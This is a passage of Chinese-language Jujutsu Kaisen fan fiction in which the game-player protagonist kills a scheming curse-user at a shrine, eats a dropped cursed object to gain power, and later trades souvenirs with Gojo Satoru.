像这种情况,如果要往咒灵的方向去考虑,那就不是他们现在能应付的任务难度了。 “不过,我觉得这点的可能性不高。” 夏油杰笑了笑,从那叠任务资料里抽出其中一张给羽取一真看。 “如果这是特级咒灵干的,那它可不会像诅咒师那样狡猾,行动的模式和思维都非常直白,留下的咒力残秽即使是[窗]也能轻易观测到。” 但根据[窗]在现场的调查结果来看,确定附近没有遗留明显的咒力残秽——可能是被人为清扫了痕迹,防止追踪。 而咒灵本身就是诅咒的产物,是负面能量的集合体,就算想要做出类似的遮掩行为也办不到,它们的一举一动都会遗留大量的残秽,非常好辨认。 “原来如此。” 羽取一真点头。 “但假设真是诅咒师做的,我们就很难找到目标了。”夏油杰努力思考,“那个人到底想要达成什么目标呢,如果顺着这个思路的话……” 这边的夏油杰在绞尽脑汁,旁边的羽取一真在心底默默翻了个白眼。 还能想要什么,还不就是想要你对我的信任度达到80%以上。 口袋里的手机振动了下,羽取一真打开邮箱,看见来自五条悟的最新信息。 [锵锵,任务结束——哎呀真是没难度,一级咒灵也依旧是不堪一击呢!] 后面跟着一个表现出超开心的颜文字表情包,还带着一点点挺胸骄傲邀功的意味。 [超厉害的,值得吃两份伴手礼。] 羽取一真从善如流的回复道。 [好耶!] 五条悟大概正拿着手机在线等收羽取一真的回信,打字的手速也快,没过几秒就又发了一封过来,看起来快乐翻倍。 过了一会儿,羽取一真又收到一封五条悟发过来的邮件。 [你那边怎么样啦,还顺利吗?] [还可以,已经确定下一个袭击地点了,正在想办法提前锁定凶手。] 在羽取一真跟悟解释完他们没办法通过太过稀薄的咒力残秽去追缉元凶,转而依靠刑警帮忙整理出的线索,再从咒术方面去思考,最后找到诅咒地点的时间比预计要快上许多时,五条悟发来了个很开心的笑容颜文字。 [是在委婉说“我可不是笨蛋”的意思吗?哼哼,那要我夸一下你也没问题喔!来期待我带给你的伴手礼吧——] [好。] 羽取一真收起手机,有点想笑,想要掩盖泛起在心头的那点酸涩。 怎么微妙的有种会被摸摸头的感觉…… 他转过头,看见夏油杰仍蹲在钱洗池边,似乎还没有理出头绪。 见羽取一真往他这边看过来,夏油杰略耸了下肩膀,表示无可奈何。 “实在不行,我们还能选择最笨的办法——把我持有的咒灵围在神社附近,一旦有敌人出现并祓除咒灵,我就会有感应。” 但这也意味着敌人同样会知道他被针对了,基本可以算是一种双向的通知。 一阵微冷的风吹来,被系在附近许愿架上的纸条随之簌簌作响,似一阵低沉的振翅嗡鸣。 “我看两个小哥站在这里很久了,请问有什么需要帮助的吗?” 大概是这个点已经没有游客了,羽取一真和夏油杰又在这里站了太久,引起神社人员的注意。 “啊,没什么,是要准备关门了吗?我们这就离开。” 夏油杰连忙从钱洗池边起身,不好意思道。 “无妨,既然来了,不如也许个心愿再走如何?” 这位身穿巫女服饰的老婆婆双手揣在身后,微笑看向他们。 “不,我们就……” 夏油杰下意识就要拒绝,但在这位老婆婆一再邀请下,他也不好意思总是推拒长辈。 “那……那我就投一枚吧。” 他从钱包里取出一枚五十日元的硬币,正要问羽取一真要不要也来试着投功德箱时,却发现他伸手从水池里捡了枚一日元硬币。 见到夏油杰困惑看过来,羽取一真淡淡解释。 “随机挑选一位幸运路人,替对方完成心愿。” 夏油杰:“……” 老婆婆:“……” 连维持着那副和蔼面容的老婆婆,眼角都忍不住微微一抽。 但她也不能再强迫羽取一真用自己的硬币投功德箱,只好看着他们按部就班,用钱洗池的水洗过硬币后,朝池中央的功德箱扔去。 哐啷、哐啷两声。 两枚硬币都稳稳的落入功德箱内。 而后,夏油杰便顺利和老婆婆进行道别,同羽取一真朝神社外走去。 “你觉得那个老婆婆有问题吗?” 夏油杰轻声问羽取一真。 但无论是洗硬币还是投功德箱的流程都很顺利,他在这途中也没有察觉到任何诅咒的气息。 “不好说,”羽取一真回道,“但总之,我不想花钱。” “………” 夏油杰被这答案哽住了。 不过,他们并没有沿着来时的山路走出鸟居,而是转而拐到愈发夜深的林间,重新靠近这座弁财天神社。 途中,夏油杰不断放出咒灵,控制它们四散离开,绕着神社布下一道防线。 羽取一真面对这些咒灵半点不心动,因为他在一周目就已经尝试过了,祓除掉这些被夏油杰操纵的咒灵,根本不给他掉【咒力结晶】。 等咒灵也布置完毕后,夏油杰和羽取一真靠着神社外围,又是最接近圆圈中心的位置,各自挑了块干净石头坐下。 为了不暴露位置,夏油杰没有生火,两个人近乎是摸黑埋伏在林里。 身上的高专制服也是纯黑色的,让他们不用多做些额外的隐藏措施,就快跟周围环境融为了一体。 羽取一真坐在夏油杰对面,看着这个已经把几乎所有咒灵都放出去的未来反派,将他扼杀在摇篮里的防患之心又开始蠢蠢欲动。 现在想要成功杀他,搞不好就是几发[黑闪]的事……然后回去就说夏油杰牺牲在任务里了,再掉两滴眼泪,就成了死无对证…… 被那双幽深的黑瞳安静盯着,半晌不眨动一下,夏油杰又开始感觉自己后背发毛。 奇怪,明明已经自我感觉和这位羽取一真相处得还可以来着……怎么在某些时刻,总会带给他一种微妙的、类似于劫后余生的惊悚感。 “咳,你之前……” 夏油杰战术性干咳一声,只能没话找话,“没听你之前提过自己的家庭。” 羽取一真:“……” 这人可真会聊天。 “父母双亡,有一个收养我的远房阿姨,但平时工作忙,根本不管我。” 最后,羽取一真还是直接套用了酒见绫子给他的假身份介绍。 夏油杰小声吸了口气,大概没想到这位同期的身世竟然如此悲惨。 “不好意思……” 他甚至还开口道歉。 “没关系,我不在意。” 羽取一真语气平淡——毕竟这是游戏设定的身份,跟他本人没任何关系。 但这好像让夏油杰更加误会了什么,在他双手交叠放在腿上,略显踌躇地抻了抻袖口后,正要开口。 “你……” 咯啦—— 好似将骨头碾碎的声音隐隐传来,令夏油杰豁然起身,扭头就看向某个方位。 “我的咒灵被吃掉了?不、不对……” 紧接着,无数道扭曲的、磨牙似的狎笑传来,四面八方都在响起、交叠,在朝他发出呓语似的诘问。 “嘻嘻…在求愿的就是你吗?” 第76章 扭曲的人型在往这边走着, 林间的黯淡月影只能隐约照出一个轮廓,使它的每一步都因那过长的比例显得踉跄,却更加怪诞无比。 远远看过去, 确实像一只被技艺尚不熟练的傀儡师操控着的人偶。 今晚的目标竟然是他! 夏油杰的反应也极快, 心念一动便收回所有放出去的咒灵,而后让一只至少两米高的、类似于三目狮兽的咒灵显形在他身边,锋利的四爪扣紧地面,以随时预备扑咬的姿态在低声咆哮。 “既然这个仪式选择了我,就意味着你不在它的攻击范围内。快离远点。” 夏油杰没有应对那仍旧在无数交叠响起的呓语声,而是先头也不回对羽取一真嘱咐道。 他的目光仍旧落在那个往这边靠过来的诡异人型咒灵上, 防范它的突然攻击。 幸好这种固定流程的诅咒仪式,只要条件无法满足, 就不能对目标展开攻击——而羽取一真投的硬币, 不是他自己的。 他没有正确的走完流程, 咒灵没有办法对他动手。 而他自己……虽然当时是将计就计, 没想到惹来的会是这么麻烦的东西。 夏油杰深吸口气,又放出数只类似小型水母的咒灵, 带着数根漂浮在空中的触须,好似在他身边缓慢游动。 想要不变成那些受害者的死状,就不要再多想,而是专心思考如何战胜它! 羽取一真的实力比自己弱, 没道理让他留下来陪自己送命。 既然他更强, 就必须要保护较弱的羽取一真才行——这是夏油杰在决定入读高专,成为咒术师的那一刻起, 就秉持的信念。 但夏油杰等了片刻,发现羽取一真没有传来回应,身后也没有传来走动的声音, 夏油杰才不得不转过头,认真催促羽取一真。 “我会没事的,这个被触发的[钱洗]仪式明显是一个筛选后并进行攻击的机制,但这次却选择了与其它受害者身份特征并不一致的我,这说明……” “那个老婆婆有问题,她认出了高专制服的我们,想要杀掉灭口。” 羽取一真闭了闭眼,还是开口接话。 “我去对付她。” 夏油杰被惊愕了一瞬,连忙就要出声阻止。 “等下,她既然能驱使这么强的咒灵,本身实力不可能会更差,你……” 但这句话的尾音没能说出口。 不仅是那只咒灵的悍然袭来,更是羽取一真朝神社冲去、迅速缩小的背影。 夏油杰张了张口,却连半个字也没能说出来。 他只能转而专心对付这只咒灵产生的简易领域——随着它踏近的身影,裹挟而来的压迫感犹如一只将他握紧的巨手,将每一寸骨骼挤得吱呀作响。 任务的猜测没错,但这只受诅咒师驱使的咒灵,实力远超他们能对付的范畴! 随着三目狮兽咆哮出声、庞大的身型骤然向咒灵扑击而出后,夏油杰周身传来的压力瞬间减轻许多。 他吐了口气,内心却奇异的并不感到慌张。 总以为对他有意见的羽取一真,此刻却毫不犹豫的采取了救他的行动。 和同伴并肩作战的感觉,也很好。 ……… 与此同时,羽取一真踩着长而蜿蜒的石阶,迅速往神社赶去。 当他被安排接近夏油杰这个任务,又猜出这个人偶袭击事件也是那位教祖提前安排好的剧情时,就对这一切的展开毫不意外了。 夏油杰不面临生死关头,他怎么救人? 他不救人,夏油杰怎么给他猛猛涨信任度? 比起并肩作战干掉敌人,当然是救同伴于生死之间,涨的信任度才更多——当羽取一真在最初就被告知这些前置剧情时,他甚至能猜出那个教祖这么做的用意。 因此,他也可以选择束手旁观,让给那个他们都无法应付的咒灵真正杀死夏油杰,将这个未来反派提前干掉。 甚至在高专那边,他的理由也变得极其充分,顺理成章。 但羽取一真,最后还是选择了救夏油杰。 并为此一路冲回弁财天神社,看见那位把他们劝离神社的老婆婆,此刻依旧独自站在那里,面带微笑。 见到羽取一真回来,她也没有产生任何紧张或戒备的情绪,反而笑着对他说道。 “你回来做什么?直接上就好,那个咒灵已经被设定好了,会对你的咒力有受击与逃避反应。” 也就是说,只要羽取一真去攻击咒灵,无论是否能造成伤害,都可以将那只咒灵打得嗷嗷叫,然后佯装受伤逃走。 至于之前那些所谓的拥有共同特征的受害者,不过是刻意制造出一起人偶袭击事件,而后顺势指名夏油杰和羽取一真前来调查的一种手段。 这个老婆婆就是那个诅咒师,甚至是那个教祖亲自挑选,来陪他演这一出戏的反派角色。 无论羽取一真有没有正确完成那个[钱洗]仪式,咒灵都会选择夏油杰当下一个目标。 “抱歉,教祖大人没和我说这些,我还想着说来问你要怎么对付它呢。” 听到这话,羽取一真的表情不变,步伐逐渐由快变慢,直至站在她面前时,便冲夏油杰那边的方向歪了下头示意。 “你是怎么控制那只咒灵听话的,我感觉它还怪强的。搞不好都有特级了吧?” 那位老婆婆自诩她和羽取一真是同一阵营的,此刻自然也完全没有隐瞒。 “哈…我早已是残烛之火,就算想将那种东西当作式神驱使也办不到。” 她从怀里摸出一个用符咒打着结的空木盒,原本和蔼的笑容已变得诡谲而危险。 “是教祖大人赐予我的东西。不知道用了什么方法,只要找到适格的容器吞下这个木盒里的咒物,就能借助这张符咒操控它。” 羽取一真的目光落在那个缠绕着条状符纸的空木盒上,又若无其事的挪开。 “不担心被别人夺去,反变成对方的力量?” “教祖大人当然会设置有类似这种情况的保险。” 老婆婆微笑道,“只要失去了我的咒力,它就会变得静止不动,其它人可无法指挥得动它。” “啊,不愧是那位大人。” ——羽取一真的这句话夸得毫不走心,但他原本就没什么表情,老婆婆只当这是他惯常的风格,没有察觉出丝毫不对。 “自然,教祖大人的威能,远比你我想象得还要高深。” 她微笑着将那个空木盒收回怀里,又催促起羽取一真。 “好了快回去,既然教祖大人要我配合你,我也不会刻意刁难你的任务。只是我想要控制那个咒灵长时间不杀夏油杰,还是很困难的。” “好。” 羽取一真点头,又像是想起什么般,问面前这个对他没有任何防备的老婆婆。 “你竟然能得到教祖大人的赏赐,必定已承蒙召见了吧?真幸运啊,教祖大人到底长什么模样?” 对此,老婆婆也只有无奈摇头。 “我哪能见到教祖大人?都是由另一个连姓名不曾透露的信使,全程与我联系的。” “这样啊,好遗憾。” 羽取一真在老婆婆的注视下往后退了两步——就在他好似要离开,让对方松懈之时——突然握紧拳头,抬起,拉开架势。 下一刻,那重若千钧的势能便裹挟着无数嘶鸣的漆黑闪光,狠狠砸在她的脸上。 [黑闪]! 那个诅咒师哪里说得出半点话,顿时朝后飞出数米距离,在地上一连打了好几个滚! 原本干净整洁的巫女服,瞬间裹满了泥尘,还混着口鼻留出的血。 身为经验极其丰富的诅咒师,她在极度错愕之下也没忘记反击,几乎是凭借本能地就要比出发动术式时的手势,却早已被同样没打算给她机会的羽取一真几步追上,再举起的拳头仍旧缠绕着代表[黑闪]的电鸣涌流。 羽取一真这次瞄准小臂,下手稳而利落,一拳就直接打断了那个诅咒师的骨头,让她发出了声因疼痛而颤抖的哀嚎。 想要释放的术式也因此而中断,对羽取一真造不成半点威胁。 “杀了你,不一样能救下夏油杰,让他对我产生信任感,完成教祖大人的任务?” 羽取一真冷冰冰说道,再度握紧拳头,朝后拉开架势。 他现在对付不了那个教祖就算了,还对付不了这个被派出的npc喽啰吗! 在那不断流淌在拳头间的[黑闪]终于彻底熄灭之后,羽取一真从尸体上摸回那个带着符咒的空木盒。 他将那个木盒塞进物品栏里,拖着诅咒师的尸体,重新朝夏油杰之前战斗的方向走去。 按照这个诅咒师刚才透露出来的信息来推断,只要她一死,咒灵失去了操纵它的咒力,自然也站立不动,就任由夏油杰宰割了。 离开有纸灯笼照明的神社,山林间已变得更黑了。 羽取一真打开手机的手电筒照明,回到之前他们分别的地方。 夏油杰正扶着膝盖艰难喘息,那身高专制服的衣摆都被割破了好几处,挂着细小的树枝与碎屑。 看起来伤得不轻。 相比之下,悍然背刺自家阵营同伙的羽取一真要从容得多,可以算是相当轻松的将那具尸体甩在夏油杰面前,然后问他。 “那只咒灵怎么样了?我听她说是吞下咒物的容器。” “是你做的吗?” 夏油杰感激的朝羽取一真笑了笑,抬手擦掉额头汗水,吐了口气。 “啊,姑且算是捡回一条命吧。另外,它确实掉落了这个。” 另一只递过来的手里,放着一小块看不清形状的、类似于风干腊肉的东西。 羽取一真拿起那块咒物打量,忽然想起之前对于技能的介绍——可通过各种方式来提高咒力上限。 “大概是曾经术式与祈愿仪式相关的诅咒师,在死后析出的咒物。” 夏油杰担心羽取一真不知道咒物所代表的具体含义,便主动解释道。 “只要我们把它带回去,应该就……” 下一刻,他看见羽取一真手一抬,将那块咒物塞嘴里吞了。 夏油杰的后半截话全部被堵在嗓子眼。 “!?!?!!” 第77章 咒物这种东西, 羽取一真吃起来就和【咒力结晶】同样,没有任何味道,入口即化。 而界面上瞬间显示升到三级的咒力量, 羽取一真的心情立刻变得很好。 下方的[黑闪]也升到三级了, 但这是他刚才揍npc时用的次数太多而升的,和吞咒物倒是没什么关系。 当然,他刚才也不是头铁硬吞咒物,非要以身试毒的。 主要是那个咒物被拿在手里时,系统浮现出了对应的简短介绍。 【一级咒物:可寻找合适的容器,使其内含意志苏醒。吞食亦可大量提升咒力量上限。】 和【咒力结晶】的描述略有不同, 但看起来都能给他吃,羽取一真自然就不客气了。 容器, 什么容器, 他先提升等级要紧。 不过, 羽取一真还记得一周目的时候, 他也拿到过特级咒物【两面宿傩的手指】,那时候可没有介绍说能吃。 是必须要被他打败吗, 还是特级咒物不能吃? 羽取一真想了想,决定以后再做点相关试验。 至于现在…… “这个,你,咦, 这个……” 夏油杰瞪大了眼睛, 被眼前这一幕震惊到失去语言组织能力。 和咒灵吞掉咒物可以增加力量不同,人类, 无论是咒术师还是普通人类,吞食咒物的后果大概率是要么承受不住咒力,要么变成咒物的容器、彻底丧失自我意识。 但羽取一真竟然就这么, 在他的面前,泰然自若的将咒物给吃了!? 夏油杰几乎是提心吊胆的盯着这位刚救自己一命的同期,既不想看见他承受不住咒力,更不想看见他被咒物彻底取代意识。 但过去好一会儿,夏油杰发现羽取一真还好端端的站在那里,没有任何不良反应。 不如说,没有任何吞食咒物后会产生的症状,甚至是若无其事转过视线来,见他仍旧保持着难以置信的表情,才平静开口解释一句。 “我能吃这个,可以涨咒力量。” 夏油杰:“…………” ……真的假的,竟然能把咒物当经验包吃?? 同样玩过游戏的夏油杰,下意识想到了这个比喻。 不,严格来说,这个咒物确实也是咒灵身上掉落的……嗯……虽然其实算是对人体有剧毒的外来物……但既然他看起来没什么问题……那他…似乎也没什么好震惊的? “这…这样啊。” 夏油杰用衣袖擦了擦额头的汗——也不知道是刚才战斗中累的,还是刚才看羽取一真吃咒物给吓的——但这结果总算能令他放松吐口气,甚至感到欣喜。 这样并肩作战,在强敌面前依靠头脑找到其弱点,又各自采取最恰当的行动进行应对,直至最终极限破解死局的莫大刺激与成就感,令他由衷露出一个高兴的笑容。 “这下我们都可以平安回去了!” 早就知道他们肯定不会有事的羽取一真微微点头,依旧没有什么表情。 不过夏油杰也差不多习惯了对方这点,带着彻底卸下防备后肉眼可见的亲近来到羽取一真面前,蹲下身检查诅咒师的尸体。 刚才羽取一真已经找了遍,把对方身上唯一有的空木盒提前收进了物品栏;此刻夏油杰再找一遍,自然什么发现也没有。 “我们得处理下这具尸体,不能直接丢在这里……还有刚才你杀她的现场。” 夏油杰很是谨慎的放出一只勉强近似蜗牛外形的咒灵,让它循着刚才羽取一真过来的路径,将沿途滴落的血迹仔细舔干净。 “得把血迹都清理干净才行。” 羽取一真盯着那只咒灵慢慢蠕动着,让那些渗入石缝与泥土里的血迹一点点消失,心想这东西还挺实用的。 “就地埋起来吗?” 羽取一真问。 他是完全无所谓的,以前打游戏都是杀一路扔一路,怎么可能还花功夫遮掩。 此刻的夏油杰显然还没拥有如此低的道德底线,闻言哽了一下,才摸出手机。 “我先给新石先生打个电话吧。” 好在新石先生很擅长处理这类事件,他问清楚地点和事件经过后,就让他们将诅咒师的尸体放在那不要动,马上会有人来处理。 毕竟诅咒师与祓除后会消散的咒灵不同,他们死后会留下尸体,但又是被咒术界宣判过死刑的通缉对象,哪怕在闹市遇到也需要即刻执行死刑。 因此,咒术界针对这种特殊情况,自然另有一套独立于普通社会体系规则之外的解决方式。 总不能让咒术师对这诅咒师执行完死刑后,咒术师自己也立刻被普通社会的警察逮捕,丢进大牢里等着死刑执行吧? 羽取一真和夏油杰在原地等了段时间,很快就有好几人开车过来,和他们做现场交接。 后续只需要上交一份详细描述经过的任务报告,就没有他们什么事情了。 夏油杰认真思考许久,私底下找到羽取一真,让他不要暴露出自己能吃咒物这件事。 如果被咒术界高层发现羽取一真吃过咒物,他就不能平安度过他的学校生活了——即使羽取一真吃咒物完全没事,高层也会认为他是颗定时炸丨弹,决定提前处死他的。 就像夏油杰从一开始就对高专撒谎了他的[咒灵操术]某个机制那般,此刻的他也不认为对高专隐瞒羽取一真能吃咒物的情报有什么大不了的。 这件事就当是诅咒师一死,由她术式驱使的人偶也随之崩散好了。 虽然吞食咒物的咒灵并不是她的术式,而她本人的术式也根本没有用出来的机会,就被羽取一真提前送去了六道轮回。 羽取一真有点诧异夏油杰竟然主动帮他隐瞒,但他也点了点头,表示如果悟问起来肯定会如实告知。 夏油杰也没想过对五条悟隐瞒,自然没有异议。 反正以他们两关系那么好的程度,悟肯定也会帮忙保密的。 至于夏油杰为什么会主动为羽取一真考虑…… 后者打开【委托】界面,对着已经高达【68%/80%】的信任度默然片刻,幽幽叹口气。 生死关头,确实容易涨信任度啊。 ……… 回高专前,羽取一真特意先去江之岛买了许多造型的小猫瓷器,又拎着两大袋的伴手礼,坐上了通往东京的铁路。 夏油杰跟在身后,手里也毫不意外的被羽取一真塞满了两大袋,同样沉甸甸的。 他左手一大袋各种口味的杏仁酥糖,右手一大袋红豆泥团子,陷入了沉默。 “这还算伴手礼吗,”夏油杰忍不住吐槽,“这是打算在高专开一个甜食小卖部吧。” “再说,镰仓离东京只有一个小时都不到的车程啊,有必要买这么多吗……” 羽取一真听到这句话,眉心微蹙,暗沉沉望过来的黑瞳里写满了对这些话的不赞同。 “伴手礼,心意最重要。” 他拎了下自己手里的购物袋,又看向夏油杰手里的那两袋,认真回道。 “这些,都是我的心意具现化。” “……这、这样。” 那这份心意还真是好沉重…… 夏油杰拎着两大袋爬学校门口的那段长长长长的石板路,感觉自己在负重登山,累得不行。 但一想到回来前,这位黑发少年甚至试图让他把咒灵放出来,每只也叼上一个购物袋时,又突然觉得这样也挺好。 最终让对方放弃的原因倒不是咒灵不能叼购物袋,而是咒灵无法被人类看见,如果真的这么做,他们回来的景象就会变成格外诡异——两个人在街道走路,身边高高低低的漂浮着一大堆购物袋…… 其实羽取一真也想过放物品栏里,但很显然,物品栏也不是什么都能往里装的。 等他们终于爬完了那段七拐八绕的盘山路,来到高专校门口时,夏油杰一抬头,发现有个翘首以盼的白毛正坐在台阶上等着。 手肘支在腿上,掌根抵着下巴,一副相当期待的雀跃模样。 他的身边也放着一个纸袋,光看外形猜不出里面装了什么。 夏油杰下意识转头看向羽取一真,而后者也配合开口解释。 “我有发邮件给他。” 夏油杰:“……” 所以一路上对方时不时的低头看手机,是在和悟聊天吗……真是格外的黏糊啊,这两人。 “回来啦!” 见到羽取一真终于出现在视野里,五条悟也格外高兴的抬手和他打招呼,墨镜被顺势往上推,稳稳卡在那头柔软却又被风吹得四处乱翘的白发间。 而彻底露出的漂亮苍瞳,则好奇的在夏油杰和羽取一真拎着的那几个购物袋中间来回巡视。 “嗯嗯?哪个是给我的伴手礼?” 他一开口,说出了令羽取一真恍惚片刻的熟悉台词——连上扬的语调也近乎一模一样。 当一周目的他和伏黑惠出差完成任务、带着几大袋伴手礼回来时,悟也是这么问的。 带着上扬的、好奇又开心的语调,声线还有点软,咬字时也轻飘飘的,像被吹向天空的七彩泡泡。 “全部都是你的。” 于是,羽取一真听到自己做出了相同的回答。 “全部都是我的吗?” 那双苍瞳瞪得大大的,眨着细密纯白睫羽的眼尾似猫一般上挑——却又在下一刻弯起来,那副既狡黠又神气的得意神态,在此刻化作了与漂亮大悟截然不同的可爱反应。 “我就知道,哼哼,不是送给我的,还能送给谁呢?” 他知道自己在羽取一真的心里超特别,且十分骄傲这点,半点也不觉得赧然。 于是,羽取一真也笑了起来。 “当然,” 他配合回答道。 “除了你,我谁也不会送。” 第78章 理直气壮要到特殊对待的五条悟看起来愈发神气, 完全没有提自己在看见那封[大约五点到]的邮件时,四点就过来坐门口等了。 他只是拎起放在身边的那个纸袋,高兴展示给羽取一真看。 “这也是我给你带的伴手礼!” 只有一个纸袋, 怎么看都没有夏油杰的份。 于是, 当五条悟转过视线,目光落在默默旁听的夏油杰身上时,后者愣了下,也立刻开口。 “没事,我不需要伴手礼。” 话说就一个小时的车程,到底有什么必要带伴手礼啊…… 但此刻的夏油杰, 显然并不像外貌的着装风格那般,真的是个读不懂空气的不良。 比起从小就接受家族精英教育的五条悟, 以及几乎不花费精力去搞同学社交的羽取一真, 从幼稚园到初中都是普通学校、做派也相对温和的夏油杰, 搞不好是三人中最懂……的。 他不仅没有出声吐槽, 还快速往上登了几步石阶,将那两个装满了伴手礼的购物袋放在五条悟身边, 紧接着就捂胸口咳嗽几声,好像一路都是忍痛过来似的。 “嗯,我现在需要找硝子治疗一下。” ——夏油杰的语速也跟着加快,“你们慢慢聊, 我先走了, 嗯,不用送, 不用,我自己能走。” 边说边退,等话音落下时, 夏油杰已经距离二人数米远,然后一转身就头也不回的走了,脚下生风。 不知道的,还以为是夏油杰在跟谁赌气。 “………” 五条悟抬了抬眉毛,目露疑惑,“跑那么快干嘛,我刚刚还想说分他一个也行。” 纸袋只有一个,又不是说里面装的东西只有一个。 “大概是他不爱吃甜食吧。” 羽取一真也歪了下脑袋,不明所以。 “嗯——算了,不管他。” 五条悟想了一会儿,没什么头绪后就干脆的放弃了,转而将那个纸袋交到过来的羽取一真手里,顺势接过那两袋伴手礼。 “红豆泥团子!” 像巡视战利品那般兴致勃勃的扒拉时,还发出了一声欢呼。 羽取一真半点也不介意他就在这里拆包装,更不介意石阶有着不断来往踩出的灰尘——他挨着五条悟肩膀也顺势坐下,拆开那个纸袋。 是八只圆滚滚的、烤成金黄色的小鸡馒头。 羽取一真愣住了。 他看着这些有着鲜甜蛋奶香的小鸡崽整齐蹲在透明的包装盒里,高高昂着脑袋,圆溜溜黑黝黝的豆豆眼一齐望着他,好像在开心的唧唧叫。 [等我带伴手礼回来喔。] [听说那里的小鸡馒头,超美味!] 这是他在一周目时,最后没能吃上的小鸡馒头。 是……是巧合吗? 羽取一真缓慢眨了下眼睛,散去那阵骤然涌起的怅惘,目光往五条悟那边看去。 “怎么啦?” 感受到视线的五条悟咬着软绵绵的糯米团子,腮帮鼓鼓的,连咬字也变得含糊不清,音节与音节的衔接间好似也被黏了甜甜的糖丝。 “要说福冈最著名的特产就是小鸡馒头嘛,我还特意去吉野堂排队买的福冈地区限定抹茶馅呢。” 虽说东京也有小鸡馒头卖啦,但要说最正宗的味道,当然还是要看福冈嘛。 误以为羽取一真是在嫌弃他买的伴手礼太不走心,五条悟捏着手里剩下的那半个红豆泥团子,解释得格外认真。 而且他只给羽取一真带了哦,别的人都没有! 就算刚才杰不走,那也只能分到一个小鸡馒头。 剩下七个都是一真的! “这样,那我就不客气了。” 羽取一真抿起嘴,露出些许了然的笑意。 他不清楚这是不是游戏的固有设定——只要五条悟去某个地方,就必定会给玩家带当地的特产回来。 就像是在不断流逝的剧情时间中随机触发事件,只要刷出五条悟去福冈,就一定会买小鸡馒头。 但是,怎么说……也算是完成了一周目的遗憾吗? 羽取一真不太确定自己此刻的情绪。 而五条悟注意到了这点。 “你看起来不是很高兴,” 他皱起眉毛,很苦恼的思考了会儿,才犹豫开口道。 “不喜欢吃小鸡馒头吗?” 好奇怪,明明他当时看见吉野堂打出的小鸡馒头广告牌时,内心还笃定[那小子肯定超爱小鸡馒头的,只要带回去,他一定会感动到哇哇哭]来着呢…… 虽然那张酷哥脸露出哇哇哭的表情是很难想象啦,但也没想到会是这个看起来都不怎么开心的反应嘛。 啊,总不会……当时,其实想吃小鸡馒头的是他吧?! 嘴边还沾着一点红豆泥的五条悟瞪大苍瞳,内心好似响起了晴空霹雳。 “怎么会,我现在特别高兴,而且超级想吃小鸡馒头的。” 羽取一真老老实实回答,但漂亮小悟好像压根不相信,反而觉得他在说客气话。 “真的?” “真的。” “真的真的?” “真的真的。” “真的真的真的?” “…………” 羽取一真淡定拆开一个包装,捏出一只可爱的小鸡馒头,分成两半,其中一半用来堵住五条悟还在不断叠加[真的?]的嘴。 另一半被他咬了一口,心满意足的微微眯起黑瞳。 明明在进游戏前,决定要将一周目的悟和二周目的悟分开看的。 结果,好像,逐渐变得难以分开了啊。 身边的五条悟在鼓着腮帮嚼嚼嚼,似乎在专心吃那一大口被塞过来的小鸡馒头。 “一真。” 突然,他也开口喊了声羽取一真的名字。 “怎么了?” 羽取一真下意识应声转过头,随之而来的就是沁满口腔的蜜豆清甜与细腻的糯米香——他也被五条悟塞了一大口红豆泥团子。 “也吃我一招!” 这还真是货真价实的“吃”了一招…… 羽取一真哑然失笑,望向五条悟的幽深黑瞳里随之泛起愉快的浮光,落进那双明快的苍蓝眼眸里,让后者也跟着弯起一个灿烂又狡黠的坏笑来。 “我还看到你买了一堆各种模样的瓷猫猫,我说啊,你该不会觉得我是猫派吧?” 五条悟的口吻轻快而随性,带着某种天然流露的亲近感。 和羽取一真在一起时,总是让他感觉格外自在的。 “江之岛是一座猫岛,所以卖的都是猫猫瓷器。” 羽取一真解释完后,好奇问他。 “你不是猫派吗?” “我是狗派啦!” 五条悟睁大眼睛,给他比划出一只秋田犬的外形,比划比划。 “就是说啊,像忠犬八公那样的!你应该也听过那个故事吧?超感人的!” “听是听过,”羽取一真有点诧异的轻声嘀咕,“我还以为猫狗不和……” 五条悟:“…………” 五条悟眯起眼睛:“你的发言很危险哦,一真同学。” 竟然说他像猫! 羽取一真立刻满脸正经,甚至刻意摆出透着一点无辜的乖巧模样。 “嗯,我刚才说了什么吗?” “这种时候装乖也是没用的,再吃我一记摸头攻击!” “………” 那堆用前爪洗脸的、扭身舔毛的、跃起扑蝴蝶的、匍匐前进的……各种各样的瓷猫猫,最后还是出现在了五条悟的宿舍窗台上,整整齐齐摆了一排。 在太阳下闪闪发亮。 ……… 这次的[人偶袭击事件]任务,夏油杰也主动帮忙写完了报告。 里面的过程大部分都是真的,只在最后省略掉那个“人偶”是吞食了咒物的容器,而咒物又被羽取一真吃掉的情况。 咒术界高层对这份报告没有做出任何表示,好似这真的只是一起普通的诅咒师作恶事件。 至于那个老婆婆的真正身份,夏油杰也特意询问过夜蛾老师,但后者表示高层那边即使会安排人去核实,也不会特意将后续告知给夏油杰和羽取一真。 总而言之,在明面上,这起任务已经彻底结束了。 但暗地里,羽取一真又接到了酒见绫子的电话。 就在她要兴师问罪之前,羽取一真抢先开口。 “是她先惹怒我的。” 酒见绫子果然被唬住了,条件反射顺着羽取一真的话往下问。 “她怎么惹怒的你?” 羽取一真想了想,开始语气冷淡的胡说八道。 “她说她不甘心一直给教祖大人卖命,只要我跟她联手,拿教祖大人看重的夏油杰做把柄,再暗地里谋划一番、动些手脚,盘星教迟早会是她的。” “而且,她还拐着弯讽刺教祖大人就像个阴沟老鼠,这么多年竟然连真面目也不敢露。我一生气,就把她杀了。” 酒见绫子恍然大悟,“那老太婆竟敢……果然我看她的眼神一直鬼鬼祟祟的,不像个好东西!” 羽取一真:“……” 都当诅咒师了,能是什么好东西。 “不过她死了倒无所谓,教祖大人并不打算怪罪你处理掉她。”酒见绫子说。 “教祖大人更好奇那个咒物,去了哪里。” 第79章 咒物去了哪里, 好问题。 想来这位教祖大人也看过报告了,发现夏油杰全程没有提起咒物这样东西,就好像它压根不存在于这起事件之中。 在之前的课堂上, 羽取一真也姑且学过关于咒物的相关知识, 知道它如果被咒灵吞噬,还有概率回收;但若是被适格的人类吞食,使咒物本身的意志苏醒,那么一旦这个人类容器死亡,咒物也会跟着死去。 也就是,那个教祖不知道用了什么办法, 能让这个咒物在咒灵吞食的同时受到符咒的操控,才能在死后还掉落咒物, 被夏油杰捡到。 而现在, 咒物的主人来管他要账了。 顺便还在试探他。 羽取一真在心底对这个教祖很有意见。 既然来试探他, 怎么还派手下过来?羽取一真很想诚恳的建议这位尊贵的教祖大人要是怀疑他, 可以直接过来的。 最好是当面来跟他对峙一番。 “说话。” 此刻,酒见绫子在电话里催促, 口吻严厉。 